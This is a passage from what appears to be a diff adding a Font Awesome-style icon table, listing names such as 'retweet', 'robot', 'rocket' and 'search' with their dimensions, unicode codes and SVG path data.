45.344-145.012-21.507-183.51-176.59-185.742V360c0 20.7-24.3 31.453-39.687 18.164l-176.004-152c-11.071-9.562-11.086-26.753 0-36.328z"], + "reply-all": [576, 512, [], "f122", "M136.309 189.836L312.313 37.851C327.72 24.546 352 35.348 352 56.015v82.763c129.182 10.231 224 52.212 224 183.548 0 61.441-39.582 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 38.512-123.162-3.922-169.482-112.59-182.015v84.175c0 20.701-24.3 31.453-39.687 18.164L136.309 226.164c-11.071-9.561-11.086-26.753 0-36.328zm-128 36.328L184.313 378.15C199.7 391.439 224 380.687 224 359.986v-15.818l-108.606-93.785A55.96 55.96 0 0 1 96 207.998a55.953 55.953 0 0 1 19.393-42.38L224 71.832V56.015c0-20.667-24.28-31.469-39.687-18.164L8.309 189.836c-11.086 9.575-11.071 26.767 0 36.328z"], + "republican": [640, 512, [], "f75e", "M544 192c0-88.4-71.6-160-160-160H160C71.6 32 0 103.6 0 192v64h544v-64zm-367.7-21.6l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L128 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L272 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L416 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zM624 320h-32c-8.8 0-16 7.2-16 16v64c0 8.8-7.2 16-16 16s-16-7.2-16-16V288H0v176c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16v-80h192v80c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16V352h32v43.3c0 41.8 30 80.1 71.6 84.3 47.8 4.9 88.4-32.7 88.4-79.6v-64c0-8.8-7.2-16-16-16z"], + "restroom": [640, 512, [], "f7bd", "M128 128c35.3 0 64-28.7 64-64S163.3 0 128 0 64 28.7 64 64s28.7 64 64 64zm384 0c35.3 0 64-28.7 64-64S547.3 0 512 0s-64 28.7-64 64 28.7 64 64 64zm127.3 226.5l-45.6-185.8c-3.3-13.5-15.5-23-29.8-24.2-15 9.7-32.8 15.5-52 15.5-19.2 0-37-5.8-52-15.5-14.3 1.2-26.5 10.7-29.8 24.2l-45.6 185.8C381 369.6 393 384 409.2 384H464v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V384h54.8c16.2 0 28.2-14.4 24.5-29.5zM336 0h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zM180.1 144.4c-15 9.8-32.9 15.6-52.1 15.6-19.2 0-37.1-5.8-52.1-15.6C51.3 146.5 32 166.9 32 192v136c0 13.3 10.7 24 24 24h8v136c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V352h8c13.3 0 24-10.7 24-24V192c0-25.1-19.3-45.5-43.9-47.6z"], + "retweet": [640, 512, [], "f079", "M629.657 343.598L528.971 444.284c-9.373 9.372-24.568 9.372-33.941 0L394.343 343.598c-9.373-9.373-9.373-24.569 0-33.941l10.823-10.823c9.562-9.562 25.133-9.34 34.419.492L480 342.118V160H292.451a24.005 24.005 0 0 1-16.971-7.029l-16-16C244.361 121.851 255.069 96 276.451 96H520c13.255 0 24 10.745 24 24v222.118l40.416-42.792c9.285-9.831 24.856-10.054 34.419-.492l10.823 10.823c9.372 9.372 9.372 24.569-.001 33.941zm-265.138 15.431A23.999 23.999 0 0 0 347.548 352H160V169.881l40.416 42.792c9.286 9.831 24.856 10.054 34.419.491l10.822-10.822c9.373-9.373 9.373-24.569 0-33.941L144.971 67.716c-9.373-9.373-24.569-9.373-33.941 0L10.343 168.402c-9.373 9.373-9.373 24.569 0 33.941l10.822 10.822c9.562 9.562 25.133 9.34 34.419-.491L96 169.881V392c0 13.255 10.745 24 24 24h243.549c21.382 0 32.09-25.851 16.971-40.971l-16.001-16z"], + "ribbon": [448, 512, [], "f4d6", "M6.1 444.3c-9.6 10.8-7.5 27.6 4.5 35.7l68.8 27.9c9.9 6.7 23.3 5 31.3-3.8l91.8-101.9-79.2-87.9-117.2 130zm435.8 0s-292-324.6-295.4-330.1c15.4-8.4 40.2-17.9 77.5-17.9s62.1 9.5 77.5 17.9c-3.3 5.6-56 64.6-56 64.6l79.1 87.7 34.2-38c28.7-31.9 33.3-78.6 11.4-115.5l-43.7-73.5c-4.3-7.2-9.9-13.3-16.8-18-40.7-27.6-127.4-29.7-171.4 0-6.9 4.7-12.5 10.8-16.8 18l-43.6 73.2c-1.5 2.5-37.1 62.2 11.5 116L337.5 504c8 8.9 21.4 10.5 31.3 3.8l68.8-27.9c11.9-8 14-24.8 4.3-35.6z"], + "ring": [512, 512, [], "f70b", "M256 64C110.06 64 0 125.91 0 208v98.13C0 384.48 114.62 448 256 448s256-63.52 256-141.87V208c0-82.09-110.06-144-256-144zm0 64c106.04 0 192 35.82 192 80 0 9.26-3.97 18.12-10.91 26.39C392.15 208.21 328.23 192 256 192s-136.15 16.21-181.09 42.39C67.97 226.12 64 217.26 64 208c0-44.18 85.96-80 192-80zM120.43 264.64C155.04 249.93 201.64 240 256 240s100.96 9.93 135.57 24.64C356.84 279.07 308.93 288 256 288s-100.84-8.93-135.57-23.36z"], + "road": [576, 512, [], "f018", "M573.19 402.67l-139.79-320C428.43 71.29 417.6 64 405.68 64h-97.59l2.45 23.16c.5 4.72-3.21 8.84-7.96 8.84h-29.16c-4.75 0-8.46-4.12-7.96-8.84L267.91 64h-97.59c-11.93 0-22.76 7.29-27.73 18.67L2.8 402.67C-6.45 423.86 8.31 448 30.54 448h196.84l10.31-97.68c.86-8.14 7.72-14.32 15.91-14.32h68.8c8.19 0 15.05 6.18 15.91 14.32L348.62 448h196.84c22.23 0 36.99-24.14 27.73-45.33zM260.4 135.16a8 8 0 0 1 7.96-7.16h39.29c4.09 0 7.53 3.09 7.96 7.16l4.6 43.58c.75 7.09-4.81 13.26-11.93 13.26h-40.54c-7.13 0-12.68-6.17-11.93-13.26l4.59-43.58zM315.64 304h-55.29c-9.5 0-16.91-8.23-15.91-17.68l5.07-48c.86-8.14 7.72-14.32 15.91-14.32h45.15c8.19 0 15.05 6.18 15.91 14.32l5.07 48c1 9.45-6.41 17.68-15.91 17.68z"], + "robot": [640, 512, [], "f544", "M32,224H64V416H32A31.96166,31.96166,0,0,1,0,384V256A31.96166,31.96166,0,0,1,32,224Zm512-48V448a64.06328,64.06328,0,0,1-64,64H160a64.06328,64.06328,0,0,1-64-64V176a79.974,79.974,0,0,1,80-80H288V32a32,32,0,0,1,64,0V96H464A79.974,79.974,0,0,1,544,176ZM264,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,264,256Zm-8,128H192v32h64Zm96,0H288v32h64ZM456,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,456,256Zm-8,128H384v32h64ZM640,256V384a31.96166,31.96166,0,0,1-32,32H576V224h32A31.96166,31.96166,0,0,1,640,256Z"], + "rocket": [512, 512, [], "f135", "M505.12019,19.09375c-1.18945-5.53125-6.65819-11-12.207-12.1875C460.716,0,435.507,0,410.40747,0,307.17523,0,245.26909,55.20312,199.05238,128H94.83772c-16.34763.01562-35.55658,11.875-42.88664,26.48438L2.51562,253.29688A28.4,28.4,0,0,0,0,264a24.00867,24.00867,0,0,0,24.00582,24H127.81618l-22.47457,22.46875c-11.36521,11.36133-12.99607,32.25781,0,45.25L156.24582,406.625c11.15623,11.1875,32.15619,13.15625,45.27726,0l22.47457-22.46875V488a24.00867,24.00867,0,0,0,24.00581,24,28.55934,28.55934,0,0,0,10.707-2.51562l98.72834-49.39063c14.62888-7.29687,26.50776-26.5,26.50776-42.85937V312.79688c72.59753-46.3125,128.03493-108.40626,128.03493-211.09376C512.07526,76.5,512.07526,51.29688,505.12019,19.09375ZM384.04033,168A40,40,0,1,1,424.05,128,40.02322,40.02322,0,0,1,384.04033,168Z"], + "route": [512, 512, [], "f4d7", "M416 320h-96c-17.6 0-32-14.4-32-32s14.4-32 32-32h96s96-107 96-160-43-96-96-96-96 43-96 96c0 25.5 22.2 63.4 45.3 96H320c-52.9 0-96 43.1-96 96s43.1 96 96 96h96c17.6 0 32 14.4 32 32s-14.4 32-32 32H185.5c-16 24.8-33.8 47.7-47.3 64H416c52.9 0 96-43.1 96-96s-43.1-96-96-96zm0-256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM96 256c-53 0-96 43-96 96s96 160 96 160 96-107 96-160-43-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "rss": [448, 512, [], "f09e", "M128.081 415.959c0 35.369-28.672 64.041-64.041 64.041S0 451.328 0 415.959s28.672-64.041 64.041-64.041 64.04 28.673 64.04 64.041zm175.66 47.25c-8.354-154.6-132.185-278.587-286.95-286.95C7.656 175.765 0 183.105 0 192.253v48.069c0 8.415 6.49 15.472 14.887 16.018 111.832 7.284 201.473 96.702 208.772 208.772.547 8.397 7.604 14.887 16.018 14.887h48.069c9.149.001 16.489-7.655 15.995-16.79zm144.249.288C439.596 229.677 251.465 40.445 16.503 32.01 7.473 31.686 0 38.981 0 48.016v48.068c0 8.625 6.835 15.645 15.453 15.999 191.179 7.839 344.627 161.316 352.465 352.465.353 8.618 7.373 15.453 15.999 15.453h48.068c9.034-.001 16.329-7.474 16.005-16.504z"], + "rss-square": [448, 512, [], "f143", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM112 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm157.533 0h-34.335c-6.011 0-11.051-4.636-11.442-10.634-5.214-80.05-69.243-143.92-149.123-149.123-5.997-.39-10.633-5.431-10.633-11.441v-34.335c0-6.535 5.468-11.777 11.994-11.425 110.546 5.974 198.997 94.536 204.964 204.964.352 6.526-4.89 11.994-11.425 11.994zm103.027 0h-34.334c-6.161 0-11.175-4.882-11.427-11.038-5.598-136.535-115.204-246.161-251.76-251.76C68.882 152.949 64 147.935 64 141.774V107.44c0-6.454 5.338-11.664 11.787-11.432 167.83 6.025 302.21 141.191 308.205 308.205.232 6.449-4.978 11.787-11.432 11.787z"], + "ruble-sign": [384, 512, [], "f158", "M239.36 320C324.48 320 384 260.542 384 175.071S324.48 32 239.36 32H76c-6.627 0-12 5.373-12 12v206.632H12c-6.627 0-12 5.373-12 12V308c0 6.627 5.373 12 12 12h52v32H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v52c0 6.627 5.373 12 12 12h58.56c6.627 0 12-5.373 12-12v-52H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H146.56v-32h92.8zm-92.8-219.252h78.72c46.72 0 74.88 29.11 74.88 74.323 0 45.832-28.16 75.561-76.16 75.561h-77.44V100.748z"], + "ruler": [640, 512, [], "f545", "M635.7 167.2L556.1 31.7c-8.8-15-28.3-20.1-43.5-11.5l-69 39.1L503.3 161c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L416 75l-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L333.2 122 278 153.3 337.8 255c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-59.7-101.7-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-27.9-47.5-55.2 31.3 59.7 101.7c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L84.9 262.9l-69 39.1C.7 310.7-4.6 329.8 4.2 344.8l79.6 135.6c8.8 15 28.3 20.1 43.5 11.5L624.1 210c15.2-8.6 20.4-27.8 11.6-42.8z"], + "ruler-combined": [512, 512, [], "f546", "M160 288h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56v-64h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56V96h-56c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8h56V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 2.77.91 5.24 1.57 7.8L160 329.38V288zm320 64h-32v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-41.37L24.2 510.43c2.56.66 5.04 1.57 7.8 1.57h448c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z"], + "ruler-horizontal": [576, 512, [], "f547", "M544 128h-48v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8H88c-4.42 0-8-3.58-8-8v-88H32c-17.67 0-32 14.33-32 32v192c0 17.67 14.33 32 32 32h512c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32z"], + "ruler-vertical": [256, 512, [], "f548", "M168 416c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 17.67 14.33 32 32 32h192c17.67 0 32-14.33 32-32v-64h-88z"], + "running": [416, 512, [], "f70c", "M272 96c26.51 0 48-21.49 48-48S298.51 0 272 0s-48 21.49-48 48 21.49 48 48 48zM113.69 317.47l-14.8 34.52H32c-17.67 0-32 14.33-32 32s14.33 32 32 32h77.45c19.25 0 36.58-11.44 44.11-29.09l8.79-20.52-10.67-6.3c-17.32-10.23-30.06-25.37-37.99-42.61zM384 223.99h-44.03l-26.06-53.25c-12.5-25.55-35.45-44.23-61.78-50.94l-71.08-21.14c-28.3-6.8-57.77-.55-80.84 17.14l-39.67 30.41c-14.03 10.75-16.69 30.83-5.92 44.86s30.84 16.66 44.86 5.92l39.69-30.41c7.67-5.89 17.44-8 25.27-6.14l14.7 4.37-37.46 87.39c-12.62 29.48-1.31 64.01 26.3 80.31l84.98 50.17-27.47 87.73c-5.28 16.86 4.11 34.81 20.97 40.09 3.19 1 6.41 1.48 9.58 1.48 13.61 0 26.23-8.77 30.52-22.45l31.64-101.06c5.91-20.77-2.89-43.08-21.64-54.39l-61.24-36.14 31.31-78.28 20.27 41.43c8 16.34 24.92 26.89 43.11 26.89H384c17.67 0 32-14.33 32-32s-14.33-31.99-32-31.99z"], + "rupee-sign": [320, 512, [], "f156", "M308 96c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v44.748c0 6.627 5.373 12 12 12h85.28c27.308 0 48.261 9.958 60.97 27.252H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h158.757c-6.217 36.086-32.961 58.632-74.757 58.632H12c-6.627 0-12 5.373-12 12v53.012c0 3.349 1.4 6.546 3.861 8.818l165.052 152.356a12.001 12.001 0 0 0 8.139 3.182h82.562c10.924 0 16.166-13.408 8.139-20.818L116.871 319.906c76.499-2.34 131.144-53.395 138.318-127.906H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-58.69c-3.486-11.541-8.28-22.246-14.252-32H308z"], + "sad-cry": [496, 512, [], "f5b3", "M248 8C111 8 0 119 0 256c0 90.1 48.2 168.7 120 212.1V288c0-8.8 7.2-16 16-16s16 7.2 16 16v196.7c29.5 12.4 62 19.3 96 19.3s66.5-6.9 96-19.3V288c0-8.8 7.2-16 16-16s16 7.2 16 16v180.1C447.8 424.7 496 346 496 256 496 119 385 8 248 8zm-65.5 216.5c-14.8-13.2-46.2-13.2-61 0L112 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c.8 5-1.7 10-6.1 12.4-5.8 3.1-11.2.7-13.7-1.6l-9.7-8.5zM248 416c-26.5 0-48-28.7-48-64s21.5-64 48-64 48 28.7 48 64-21.5 64-48 64zm149.8-181.5c-5.8 3.1-11.2.7-13.7-1.6l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S400 197 404 222.2c.6 4.9-1.8 9.9-6.2 12.3z"], + "sad-tear": [496, 512, [], "f5b4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM152 416c-26.5 0-48-21-48-47 0-20 28.5-60.4 41.6-77.8 3.2-4.3 9.6-4.3 12.8 0C171.5 308.6 200 349 200 369c0 26-21.5 47-48 47zm16-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm170.2 154.2C315.8 367.4 282.9 352 248 352c-21.2 0-21.2-32 0-32 44.4 0 86.3 19.6 114.7 53.8 13.8 16.4-11.2 36.5-24.5 20.4z"], + "satellite": [512, 512, [], "f7bf", "M502.60969,310.04206l-96.70393,96.71625a31.88151,31.88151,0,0,1-45.00765,0L280.572,326.34115l-9.89231,9.90759a190.56343,190.56343,0,0,1-5.40716,168.52287c-4.50077,8.50115-16.39342,9.59505-23.20707,2.79725L134.54715,400.05428l-17.7999,17.79929c.70324,2.60972,1.60965,5.00067,1.60965,7.79793a32.00544,32.00544,0,1,1-32.00544-32.00434c2.79735,0,5.18838.90637,7.7982,1.60959l17.7999-17.79929L4.43129,269.94287c-6.798-6.81342-5.70409-18.6119,2.79735-23.20627a190.58161,190.58161,0,0,1,168.52864-5.407l9.79854-9.79821-80.31053-80.41716a32.002,32.002,0,0,1,0-45.09987L201.96474,9.29814A31.62639,31.62639,0,0,1,224.46868,0a31.99951,31.99951,0,0,1,22.59759,9.29814l80.32615,80.30777,47.805-47.89713a33.6075,33.6075,0,0,1,47.50808,0l47.50807,47.50645a33.63308,33.63308,0,0,1,0,47.50644l-47.805,47.89713L502.71908,265.036A31.78938,31.78938,0,0,1,502.60969,310.04206ZM219.56159,197.433l73.82505-73.82252-68.918-68.9-73.80942,73.80689Zm237.74352,90.106-68.90233-68.9156-73.825,73.82252,68.918,68.9Z"], + "satellite-dish": [512, 512, [], "f7c0", "M305.44954,462.59c7.39157,7.29792,6.18829,20.09661-3.00038,25.00356-77.713,41.80281-176.72559,29.9105-242.34331-35.7082C-5.49624,386.28227-17.404,287.362,24.41381,209.554c4.89125-9.095,17.68975-10.29834,25.00318-3.00043L166.22872,323.36708l27.39411-27.39452c-.68759-2.60974-1.594-5.00071-1.594-7.81361a32.00407,32.00407,0,1,1,32.00407,32.00455c-2.79723,0-5.20378-.89075-7.79786-1.594l-27.40974,27.41015ZM511.9758,303.06732a16.10336,16.10336,0,0,1-16.002,17.00242H463.86031a15.96956,15.96956,0,0,1-15.89265-15.00213C440.46671,175.5492,336.45348,70.53427,207.03078,63.53328a15.84486,15.84486,0,0,1-15.00191-15.90852V16.02652A16.09389,16.09389,0,0,1,209.031.02425C372.25491,8.61922,503.47472,139.841,511.9758,303.06732Zm-96.01221-.29692a16.21093,16.21093,0,0,1-16.11142,17.29934H367.645a16.06862,16.06862,0,0,1-15.89265-14.70522c-6.90712-77.01094-68.118-138.91037-144.92467-145.22376a15.94,15.94,0,0,1-14.79876-15.89289V112.13393a16.134,16.134,0,0,1,17.29908-16.096C319.45132,104.5391,407.55627,192.64538,415.96359,302.7704Z"], + "save": [448, 512, [], "f0c7", "M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM224 416c-35.346 0-64-28.654-64-64 0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64zm96-304.52V212c0 6.627-5.373 12-12 12H76c-6.627 0-12-5.373-12-12V108c0-6.627 5.373-12 12-12h228.52c3.183 0 6.235 1.264 8.485 3.515l3.48 3.48A11.996 11.996 0 0 1 320 111.48z"], + "school": [640, 512, [], "f549", "M0 224v272c0 8.84 7.16 16 16 16h80V192H32c-17.67 0-32 14.33-32 32zm360-48h-24v-40c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v64c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zm137.75-63.96l-160-106.67a32.02 32.02 0 0 0-35.5 0l-160 106.67A32.002 32.002 0 0 0 128 138.66V512h128V368c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v144h128V138.67c0-10.7-5.35-20.7-14.25-26.63zM320 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm288-64h-64v320h80c8.84 0 16-7.16 16-16V224c0-17.67-14.33-32-32-32z"], + "screwdriver": [512, 512, [], "f54a", "M448 0L320 96v62.06l-83.03 83.03c6.79 4.25 13.27 9.06 19.07 14.87 5.8 5.8 10.62 12.28 14.87 19.07L353.94 192H416l96-128-64-64zM128 278.59L10.92 395.67c-14.55 14.55-14.55 38.15 0 52.71l52.7 52.7c14.56 14.56 38.15 14.56 52.71 0L233.41 384c29.11-29.11 29.11-76.3 0-105.41s-76.3-29.11-105.41 0z"], + "scroll": [640, 512, [], "f70e", "M48 0C21.53 0 0 21.53 0 48v64c0 8.84 7.16 16 16 16h80V48C96 21.53 74.47 0 48 0zm208 412.57V352h288V96c0-52.94-43.06-96-96-96H111.59C121.74 13.41 128 29.92 128 48v368c0 38.87 34.65 69.65 74.75 63.12C234.22 474 256 444.46 256 412.57zM288 384v32c0 52.93-43.06 96-96 96h336c61.86 0 112-50.14 112-112 0-8.84-7.16-16-16-16H288z"], + "sd-card": [384, 512, [], "f7c2", "M320 0H128L0 128v320c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zM160 160h-48V64h48v96zm80 0h-48V64h48v96zm80 0h-48V64h48v96z"], + "search": [512, 512, [], "f002", "M505 442.7L405.3 343c-4.5-4.5-10.6-7-17-7H372c27.6-35.3 44-79.7 44-128C416 93.1 322.9 0 208 0S0 93.1 0 208s93.1 208 208 208c48.3 0 92.7-16.4 128-44v16.3c0 6.4 2.5 12.5 7 17l99.7 99.7c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.6.1-34zM208 336c-70.7 0-128-57.2-128-128 0-70.7 57.2-128 128-128 70.7 0 128 57.2 128 128 0 70.7-57.2 128-128 128z"], + "search-dollar": [512, 512, [], "f688", "M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm27.11-152.54l-45.01-13.5c-5.16-1.55-8.77-6.78-8.77-12.73 0-7.27 5.3-13.19 11.8-13.19h28.11c4.56 0 8.96 1.29 12.82 3.72 3.24 2.03 7.36 1.91 10.13-.73l11.75-11.21c3.53-3.37 3.33-9.21-.57-12.14-9.1-6.83-20.08-10.77-31.37-11.35V112c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v16.12c-23.63.63-42.68 20.55-42.68 45.07 0 19.97 12.99 37.81 31.58 43.39l45.01 13.5c5.16 1.55 8.77 6.78 8.77 12.73 0 7.27-5.3 13.19-11.8 13.19h-28.1c-4.56 0-8.96-1.29-12.82-3.72-3.24-2.03-7.36-1.91-10.13.73l-11.75 11.21c-3.53 3.37-3.33 9.21.57 12.14 9.1 6.83 20.08 10.77 31.37 11.35V304c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-16.12c23.63-.63 42.68-20.54 42.68-45.07 0-19.97-12.99-37.81-31.59-43.39z"], + "search-location": [512, 512, [], "f689", "M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm.02-239.96c-40.78 0-73.84 33.05-73.84 73.83 0 32.96 48.26 93.05 66.75 114.86a9.24 9.24 0 0 0 14.18 0c18.49-21.81 66.75-81.89 66.75-114.86 0-40.78-33.06-73.83-73.84-73.83zm0 96c-13.26 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"], + "search-minus": [512, 512, [], "f010", "M304 192v32c0 6.6-5.4 12-12 12H124c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z"], + "search-plus": [512, 512, [], "f00e", "M304 192v32c0 6.6-5.4 12-12 12h-56v56c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-56h-56c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h56v-56c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v56h56c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z"], + "seedling": [512, 512, [], "f4d8", "M64 96H0c0 123.7 100.3 224 224 224v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C288 196.3 187.7 96 64 96zm384-64c-84.2 0-157.4 46.5-195.7 115.2 27.7 30.2 48.2 66.9 59 107.6C424 243.1 512 147.9 512 32h-64z"], + "server": [512, 512, [], "f233", "M480 160H32c-17.673 0-32-14.327-32-32V64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 